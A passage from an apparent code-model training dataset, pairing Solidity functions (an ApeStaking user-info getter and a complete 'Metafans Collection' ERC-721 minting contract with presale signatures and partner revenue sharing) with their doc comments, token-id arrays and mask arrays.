12,
20,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x85018CF6F53c8bbD03c3137E71F4FCa226cDa92C/sources/contracts/ApeStaking.sol | * @notice Get user info @param userAddr User address @param nftAsset nft asset address @return collectRate Collect rate @return iTokenAmount iToken amount @return pTokenAmount Amount of P-Token corresponding to iToken @return interestReward P-Token reward @return stakeNftIds Staked nft ids @return depositNftIds Deposited nft ids/ | function getUserInfo(address userAddr, address nftAsset) external returns (
uint256 collectRate,
uint256 iTokenAmount,
uint256 pTokenAmount,
uint256 interestReward,
uint256[] memory stakeNftIds,
uint256[] memory depositNftIds
) {
UserInfo storage userInfo = _userInfo[userAddr];
collectRate = userInfo.collectRate;
uint256 poolId = _nftInfo[nftAsset].poolId;
iTokenAmount = userInfo.iTokenAmount[poolId];
(address iTokenAddr, , uint256 pieceCount, , ) = INftGateway(nftGateway).marketInfo(nftAsset);
pTokenAmount = ITokenLending(iTokenAddr).exchangeRateCurrent() * iTokenAmount / BASE_PERCENTS;
uint256 length = userInfo.stakeIds[poolId].length();
stakeNftIds = new uint256[](length);
for(uint256 i = 0; i < length; i++) {
stakeNftIds[i] = userInfo.stakeIds[poolId].at(i);
}
length = userInfo.depositIds[poolId].length();
depositNftIds = new uint256[](length);
for(uint256 i = 0; i < length; i++) {
depositNftIds[i] = userInfo.depositIds[poolId].at(i);
}
uint256 amount = length * pieceCount;
interestReward = pTokenAmount > amount ? pTokenAmount - amount : 0;
}
| 4,470,120 | [
1,
967,
729,
1123,
225,
729,
3178,
2177,
1758,
225,
290,
1222,
6672,
290,
1222,
3310,
1758,
327,
3274,
4727,
9302,
4993,
327,
277,
1345,
6275,
277,
1345,
3844,
327,
293,
1345,
6275,
16811,
434,
453,
17,
1345,
4656,
358,
277,
1345,
327,
16513,
17631,
1060,
453,
17,
1345,
19890,
327,
384,
911,
50,
1222,
2673,
934,
9477,
290,
1222,
3258,
327,
443,
1724,
50,
1222,
2673,
4019,
538,
16261,
290,
1222,
3258,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4735,
966,
12,
2867,
729,
3178,
16,
1758,
290,
1222,
6672,
13,
3903,
1135,
261,
203,
3639,
2254,
5034,
3274,
4727,
16,
203,
3639,
2254,
5034,
277,
1345,
6275,
16,
203,
3639,
2254,
5034,
293,
1345,
6275,
16,
203,
3639,
2254,
5034,
16513,
17631,
1060,
16,
203,
3639,
2254,
5034,
8526,
3778,
384,
911,
50,
1222,
2673,
16,
203,
3639,
2254,
5034,
8526,
3778,
443,
1724,
50,
1222,
2673,
203,
565,
262,
288,
203,
3639,
25003,
2502,
16753,
273,
389,
1355,
966,
63,
1355,
3178,
15533,
203,
3639,
3274,
4727,
273,
16753,
18,
14676,
4727,
31,
203,
203,
3639,
2254,
5034,
2845,
548,
273,
389,
82,
1222,
966,
63,
82,
1222,
6672,
8009,
6011,
548,
31,
203,
3639,
277,
1345,
6275,
273,
16753,
18,
77,
1345,
6275,
63,
6011,
548,
15533,
203,
203,
3639,
261,
2867,
277,
1345,
3178,
16,
269,
2254,
5034,
11151,
1380,
16,
269,
262,
273,
2120,
1222,
5197,
12,
82,
1222,
5197,
2934,
27151,
966,
12,
82,
1222,
6672,
1769,
203,
3639,
293,
1345,
6275,
273,
467,
1345,
48,
2846,
12,
77,
1345,
3178,
2934,
16641,
4727,
3935,
1435,
380,
277,
1345,
6275,
342,
10250,
67,
3194,
19666,
55,
31,
203,
203,
3639,
2254,
5034,
769,
273,
16753,
18,
334,
911,
2673,
63,
6011,
548,
8009,
2469,
5621,
203,
3639,
384,
911,
50,
1222,
2673,
273,
394,
2254,
5034,
8526,
12,
2469,
1769,
203,
3639,
364,
12,
11890,
5034,
277,
273,
374,
31,
277,
411,
769,
31,
277,
27245,
288,
203,
5411,
384,
911,
50,
1222,
2673,
63,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract AccessControl {
address internal _admin;
address internal _owner;
modifier onlyAdmin() {
require(msg.sender == _admin, "unauthorized");
_;
}
modifier onlyOwner() {
require(msg.sender == _owner, "unauthorized");
_;
}
function changeAdmin(address newAdmin) external onlyOwner {
_admin = newAdmin;
}
function changeOwner(address newOwner) external onlyOwner {
_owner = newOwner;
}
function owner() external view returns (address) {
return _owner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./AccessControl.sol";
import "./interfaces/IERC165.sol";
import "./interfaces/IERC721.sol";
import "./interfaces/IERC721Metadata.sol";
import "./interfaces/IERC721Receiver.sol";
abstract contract NFTCollectionV1 is AccessControl, IERC165, IERC721, IERC721Metadata {
/** @dev IERC721 Fields */
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => bool)) internal _operatorApprovals;
mapping(uint256 => address) internal _owners;
mapping(uint256 => address) internal _tokenApprovals;
/** @dev IERC721Enumerable */
uint256 internal _totalSupply;
uint256 internal _totalSupplyLimit;
string internal _baseURI;
/** @dev IERC165 Views */
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId;
}
/** @dev IERC721 Views */
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner_) external view override returns (uint256 balance) {
return _balances[owner_];
}
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view override returns (address operator) {
return _tokenApprovals[tokenId];
}
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner_, address operator) external view override returns (bool) {
return _operatorApprovals[owner_][operator];
}
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view override returns (address) {
return _owners[tokenId];
}
/** @dev IERC721 Mutators */
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external override {
address owner_ = _owners[tokenId];
require(to != owner_, "caller may not approve themself");
require(msg.sender == owner_ || _operatorApprovals[owner_][msg.sender], "unauthorized");
_approve(to, tokenId);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external override {
_ensureApprovedOrOwner(msg.sender, tokenId);
_transfer(from, to, tokenId);
if (_isContract(to)) {
IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, "");
}
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external override {
_ensureApprovedOrOwner(msg.sender, tokenId);
_transfer(from, to, tokenId);
if (_isContract(to)) {
IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, data);
}
}
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool approved) external override {
require(operator != msg.sender, "caller may not approve themself");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external override {
_ensureApprovedOrOwner(msg.sender, tokenId);
_transfer(from, to, tokenId);
}
/** IERC721Metadata Views */
function tokenURI(uint256 tokenId) external view override returns (string memory) {
return string(abi.encodePacked(_baseURI, _toString(tokenId), ".json"));
}
/** Useful Methods */
function changeBaseURI(string memory newURI) external onlyAdmin {
_baseURI = newURI;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/** Helpers */
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(_owners[tokenId], to, tokenId);
}
function _ensureApprovedOrOwner(address spender, uint256 tokenId) private view {
address owner_ = _owners[tokenId];
require(
spender == owner_ || spender == _tokenApprovals[tokenId] || _operatorApprovals[owner_][spender],
"unauthorized"
);
}
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function _toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function _isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
require(_owners[tokenId] == from, "transfer of token that is not own");
require(to != address(0), "transfer to the zero address");
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 {
/** Events */
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/** Views */
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/** Mutators */
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "./Authorized.sol";
import "./NFTCollectionV1.sol";
contract MetafansCollection is NFTCollectionV1, Authorized {
/** @dev Immutable */
uint256 private constant _launchLimit = 10;
uint256 private constant _mintCooldown = 10 minutes;
uint256 private constant _presaleLimit = 3;
address private immutable _partnerA;
address private immutable _partnerB;
uint256 private immutable _promoQuantity;
/** @dev Fields */
uint256 private _launchAt;
mapping(address => uint256) private _lastMintAt;
uint256 private _partnerARevenue;
uint256 private _partnerBRevenue;
uint256 private _presaleAt;
mapping(address => uint256) private _presaleClaimed;
uint256 private _price;
constructor(
string memory baseURI_,
uint256 launchAt_,
address partnerA,
address partnerB,
uint256 presaleAt_,
uint256 price,
uint256 promoQuantity_,
uint256 totalSupplyLimit_
) {
_admin = msg.sender;
_authority = msg.sender;
_owner = msg.sender;
_baseURI = baseURI_;
_launchAt = launchAt_;
_partnerA = partnerA;
_partnerB = partnerB;
_presaleAt = presaleAt_;
_price = price;
_promoQuantity = promoQuantity_;
_totalSupplyLimit = totalSupplyLimit_;
_totalSupply = _promoQuantity;
}
/** @dev IERC721Metadata Views */
/**
* @dev Returns the token collection name.
*/
function name() external pure override returns (string memory) {
return "Metafans Collection";
}
/**
* @dev Returns the token collection symbol.
*/
function symbol() external pure override returns (string memory) {
return "MFC";
}
/** @dev General Views */
function lastMintAt(address wallet) external view returns (uint256) {
return _lastMintAt[wallet];
}
function launchAt() external view returns (uint256) {
return _launchAt;
}
function presaleAt() external view returns (uint256) {
return _presaleAt;
}
function presaleClaimed(address wallet) external view returns (uint256) {
return _presaleClaimed[wallet];
}
/** @dev Admin Mutators */
function changeLaunchAt(uint256 value) external onlyAdmin {
_launchAt = value;
}
function changePresaleAt(uint256 value) external onlyAdmin {
_presaleAt = value;
}
function changePrice(uint256 value) external onlyAdmin {
_price = value;
}
/** @dev Mint Mutators */
function launchMint(uint256 quantity) external payable {
require(_launchAt < block.timestamp, "launch has not begun");
require(msg.value == _price * quantity, "incorrect ETH");
require(quantity <= _launchLimit, "over limit");
require(block.timestamp - _lastMintAt[msg.sender] > _mintCooldown, "cooling down");
_partnerShare();
_mint(quantity);
}
function presaleMint(
uint256 quantity,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable authorized(msg.sender, deadline, v, r, s) {
require(_presaleAt < block.timestamp, "presale has not begun");
require(block.timestamp < _launchAt, "presale has ended");
require(block.timestamp < deadline, "past deadline");
require(msg.value == _price * quantity, "incorrect ETH");
require((_presaleClaimed[msg.sender] += quantity) <= _presaleLimit, "over limit");
_partnerShare();
_mint(quantity);
}
function promoMint(uint256 tokenId, address to) external onlyAdmin {
require(tokenId < _promoQuantity, "over promo limit");
require(_owners[tokenId] == address(0), "already minted");
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/** @dev Partner Views */
function partnerRevenue(address wallet) external view returns (uint256) {
if (wallet == _partnerA) {
return _partnerARevenue;
}
if (wallet == _partnerB) {
return _partnerBRevenue;
}
return 0;
}
/** @dev Partner Mutators */
function claimRevenue() external {
uint256 amount;
if (msg.sender == _partnerA) {
amount = _partnerARevenue;
_partnerARevenue = 0;
} else if (msg.sender == _partnerB) {
amount = _partnerBRevenue;
_partnerBRevenue = 0;
} else {
revert("unauthorized");
}
(bool send, ) = msg.sender.call{value: amount}("");
require(send, "failed to send partner funds");
}
/** @dev Helpers */
function _mint(uint256 quantity) private {
require(_totalSupply + quantity <= _totalSupplyLimit, "over total supply limit");
for (uint256 i = 0; i < quantity; i++) {
_owners[_totalSupply + i] = msg.sender;
emit Transfer(address(0), msg.sender, _totalSupply + i);
}
_balances[msg.sender] += quantity;
_totalSupply += quantity;
_lastMintAt[msg.sender] = block.timestamp;
}
function _partnerShare() private {
uint256 shareB = msg.value / 10;
uint256 shareA = msg.value - shareB;
_partnerARevenue += shareA;
_partnerBRevenue += shareB;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Authorized {
bytes32 internal immutable _domainSeparator;
address internal _authority;
constructor() {
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_domainSeparator = keccak256(
abi.encode(typeHash, keccak256(bytes("MetaFans")), keccak256(bytes("1.0.0")), block.chainid, address(this))
);
}
modifier authorized(
address account,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) {
bytes32 hash = keccak256(abi.encode(keccak256("Presale(address to,uint256 deadline)"), account, deadline));
require(verify(hash, v, r, s), "unauthorized");
_;
}
function verify(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal view returns (bool) {
return _authority == ecrecover(keccak256(abi.encodePacked("\x19\x01", _domainSeparator, hash)), v, r, s);
}
}
| * @dev Returns the token collection symbol./ | function symbol() external pure override returns (string memory) {
return "MFC";
}
| 13,125,662 | [
1,
1356,
326,
1147,
1849,
3273,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
3273,
1435,
3903,
16618,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
565,
327,
315,
49,
4488,
14432,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.